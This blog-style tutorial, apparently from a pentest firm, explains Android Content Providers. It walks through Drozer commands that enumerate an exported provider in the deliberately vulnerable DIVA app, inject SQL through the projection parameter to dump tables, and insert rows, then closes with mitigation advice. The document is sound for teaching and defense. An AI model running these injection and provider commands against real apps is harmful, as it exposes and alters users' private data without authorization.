In the previous blog, we described the Drozer tool; in this blog, we are going to discuss Content Providers.
What are Content Providers?
Content Providers are a crucial component of a relational database because they enable the storage of application data. In the Android system, the role of a content provider is similar to that of a central repository in which application data is stored, and it allows other applications to safely access and modifies that data based on user requirements. The Android system lets the content provider save application data in various formats. For instance, photographs, audio, videos, and personal contact information can be stored in SQLite databases, files, or even on a network. Content providers have particular permissions. Therefore, in order to share the data, they can allow and restrict the rights of other applications to distribute the data.
Content Providers allow an application to access and manage data stored in its own SQLite database or to perform file operations. As a result, two types of content providers are commonly used: database-backed and file-backed. They are standard interfaces that connect data from one process to code from another. Consequently, certain applications can access the database or file-backed provider running in your application via the interface of your content provider.
Content URI (Uniform Resource Identifier)
The fundamental concept of Content Providers is the Content URI (Uniform Resource Identifier). The URI is used as a query string to get data from a content source.
Structure of a Content URI: content://authority/optionalPath/optionalID
Details about the various components of the Content URI are listed below:
- content:// A required portion of the URI that indicates that the given URI is a Content URI.
- authority Implies the name of the content provider, such as contacts, browser, and so on. This section must be unique to each content supplier.
- optionalPath Describes the data type supplied by the content provider. It is critical because this component enables content providers to support different forms of data, such as audio and video files.
- optionalID This is a numeric value that is utilized while accessing a certain record.
If an ID occurs in a URI, it is an id-based URI; otherwise, it is a directory-based URI.
Operations in Content Provider
Content Provider supports four basic operations: Create, Read, Update, and Delete. These are commonly referred to as CRUD operations.
Create: Data creation operation in a content provider.
Read: To attain information from a content source.
Update: To make changes to existing data.
Delete: To eliminate existing data from storage
The following are the six abstract methods and their descriptions that must be overridden as part of the content Provider class:
|query()||A method that takes inputs and retrieves data from the specified table. As a cursor object, data is retired.|
|insert()||To add a new row to the content provider’s database. It returns the added row’s content URI.|
|update()||This function is used to update the fields of a previously created row. Also, this function returns the number of rows that have been modified.|
|delete()||The existing rows are deleted using this procedure. This function returns the number of deleted rows.|
|getType()||This function returns data of the Multipurpose Internet Mail Extension (MIME) type to the specified Content URI.|
|onCreate()||When the Android system creates a content provider, it uses this method right away to set up the provider.|
Exploiting the Exported Content Providers
For this practical, we are going to use DVIA application.
Step1: Let’s get some information about the application by using app.package.attacksurface; as shown in the screenshot, there was one exported content provider.
run app.package.attacksurface jakhar.aseem.diva
Step2: Let’s now exploit the exported content providers. There was just one exported content provider, as shown in the screenshot. To find out more, utilize the module app.provider.info, as shown in the screenshot.
run app.provider.info -a jakhar.aseem.diva
Step3: Let’s get the data from the content source now. To accomplish so, we will use the Drozer scanner module “scanner.provider.finduris” to find the URIs that we will be able to query. The screenshot below illustrates two URIs that can be queried.
run scanner.provider.finduris -a jakhar.aseem
Step4: To query one of the URIs, we use the module “app.provider.query”, as shown in the screenshot below. We can tell that critical information has been exposed.
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/
Step5: We can further search for SQL injection in content providers using Drozer. We can view two injection spots in the projections using the scanner module scanner.provider.injection, as seen in the screenshot below.
run scanner.provider.injection -a jakhar.aseem.diva
Note that “Projection” and “selection” are two interesting injections points.
Step6: We can inspect the SQL tables exposed by making the SQL query using the app.provider.query module of Drozer, as shown in the screenshot below.
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "'"
In the above screenshot, we can see that it is vulnerable to SQL injection.
Now let’s list all the tables
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "* FROM SQLITE_MASTER WHERE type='table':--"
Alternative Method: –We have one more module in Drozer (scanner.provider.sqltables) that allows us to inspect all of the SQL tables in the server’s database:
run scanner.provider.sqltables -a jakhar.aseem.diva
Step7: Using the same module “app.provider.query” with the URI and SQL query as shown in the screenshot below, we can extract data from the table. We have collected data from the table “notes” in this section. We can see that the data has been extracted from the database.
run app.provider.query content://jakhar.aseem.diva.provider.notesprovider/notes/ --projection "* FROM notes--"
Note: By default, CRUD is applicable to all the table whose parameter “exported” is set to true.
Inserting Data into a Database Using a Content Provider: Now that we know the provider’s database has write access, we’ll insert a new ID, title and note into the provider with the following commands, allowing us to successfully add the content in the table:
run app.provider.insert content://jakhar.aseem.diva.provider.notesprovider/notes/ --string _id 7 --string title Test --string note Hacked
- If your content provider is only used by your app, put android:exported=false in the manifest. If you intend to export the content provider, you should also specify one or more reading and writing permissions.
- Use the android:protectionLevel attribute set to “signature” protection when using a content provider to transmit data between just your own apps.
- To mitigate potential SQL injection from untrusted sources, use parameterized query methods like query(), update(), and delete() when querying a content provider.
In the upcoming blog, we are going to explore more attack vectors like Exploiting Broadcast Receivers and Exporting Services. Also, refer to our Android Pentesting Methodology series. For more information, you can also read the Mobile Application Penetration Testing book.
By partnering with Redfox Security, you’ll get the best security and technical skills required to execute an effective and thorough penetration test. Our offensive security experts have years of experience assisting organizations in protecting their digital assets through penetration testing services. To schedule a call with one of our technical specialists, call 1-800-917-0850 now.
Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. With a combination of data-driven, research-based, and manual testing methodologies, we proudly deliver robust security solutions.
“Join us on our journey of growth and development by signing up for our comprehensive courses, if you want to excel in the field of cybersecurity.”